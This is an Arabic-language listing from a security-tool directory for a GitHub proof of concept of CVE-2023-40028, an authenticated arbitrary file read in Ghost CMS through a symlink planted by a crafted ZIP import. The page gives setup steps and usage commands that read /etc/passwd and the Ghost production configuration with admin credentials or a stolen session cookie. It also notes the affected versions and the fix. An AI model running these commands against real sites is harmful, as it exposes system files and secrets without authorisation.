Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-40028 — POC لـ CVE-2023-40028: قراءة ملفات تعسفية في Ghost CMS | Kitploit
أدوات/GitHubGitHub/godylockz/cve-2023-40028
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتاختبار الاختراق
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

POC لـ CVE-2023-40028: قراءة ملفات تعسفية في Ghost CMS

عرض المستودع
221منذ 29 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-40028: قراءة ملفات عشوائية في Ghost

إثبات مفهوم لـ CVE-2023-40028، وهي ثغرة قراءة ملفات عشوائية تتطلب المصادقة في ميزة استيراد المحتوى في Ghost. يقوم أرشيف ZIP مُصمَّم خصيصًا بإنشاء symlink تحت content/images، مما يسمح للسكربت بطلب ملف من مضيف Ghost.

إصدارات Ghost قبل 5.59.1 متأثرة. قم بالترقية إلى 5.59.1 أو أحدث.

استخدم هذا فقط ضد الأنظمة التي تملكها أو المصرَّح لك باختبارها.

المتطلبات

  • Python 3
  • requests
  • بيانات اعتماد مسؤول Ghost أو ملف تعريف ارتباط ghost-admin-api-session صالح
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

الاستخدام

قراءة ملف واحد باستخدام اسم مستخدم وكلمة مرور:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

استخدام ملف تعريف ارتباط جلسة مسؤول موجود:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

احذف --file لفتح موجّه file> التفاعلي. شغّل python3 ghost_fileread.py --help لخيارات proxy وtimeout وUser-Agent.

تُرجع نقطة النهاية نصًا، لذا هذه الأداة مخصصة للملفات النصية. يؤدي استيراد الأرشيف المُصمَّم إلى ترك symlink في دليل content/images الخاص بالهدف.

المراجع

  • GitHub advisory: CVE-2023-40028
  • Ghost fix
تنزيل الأداة